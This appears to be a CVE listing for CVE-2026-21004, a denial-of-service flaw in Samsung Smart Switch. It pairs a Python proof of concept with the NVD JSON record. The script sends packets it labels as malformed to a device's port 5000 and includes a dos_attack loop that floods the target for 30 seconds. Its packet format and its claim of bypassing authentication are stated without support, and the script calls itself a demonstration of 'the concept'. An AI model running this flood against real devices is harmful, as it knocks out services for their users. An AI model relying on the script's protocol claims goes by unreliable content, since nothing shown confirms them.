CVE-2026-21004

# CVE-2026-21004 PoC - Samsung Smart Switch DoS via Improper Authentication # This PoC demonstrates the concept of triggering DoS via malformed network requests # Note: For authorized security testing only import socket import struct import time def send_malformed_request(target_ip, port=5000): """ Send a malformed request to Samsung Smart Switch service to trigger DoS condition due to improper authentication """ try: # Construct malformed packet that bypasses authentication # Smart Switch uses custom protocol on this port packet = b'SSWT' # Magic header packet += struct.pack('>I', 0x01) # Packet type packet += struct.pack('>I', 0x00) # Flags packet += b'\x00' * 100 # Malformed payload sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f"[*] Sending malformed request to {target_ip}:{port}") sock.sendto(packet, (target_ip, port)) try: response, addr = sock.recvfrom(1024) print(f"[+] Received response: {response.hex()}") except socket.timeout: print("[-] No response received - target may be affected") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def dos_attack(target_ip, port=5000, duration=30): """ Denial of Service attack simulation Continuously send malformed requests to exhaust resources """ print(f"[*] Starting DoS attack against {target_ip}") start_time = time.time() request_count = 0 while time.time() - start_time < duration: if send_malformed_request(target_ip, port): request_count += 1 time.sleep(0.1) print(f"[*] Attack completed. Sent {request_count} requests") if __name__ == "__main__": # Configuration target_ip = "192.168.1.100" # Target device IP target_port = 5000 # Smart Switch service port # Single probe test send_malformed_request(target_ip, target_port) # For authorized testing only: # dos_attack(target_ip, target_port, duration=30)

{"cve": {"id": "CVE-2026-21004", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:11.500", "lastModified": "2026-03-31T00:31:53.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authentication in Smart Switch prior to version 3.7.69.15 allows adjacent attackers to trigger a denial of service."}, {"lang": "es", "value": "Autenticación impropia en Smart Switch anterior a la versión 3.7.69.15 permite a atacantes adyacentes desencadenar una denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:smart_switch:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.7.69.15", "matchCriteriaId": "37A46437-F1AB-40DC-B7FC-77D3CE8047EE"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=03", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}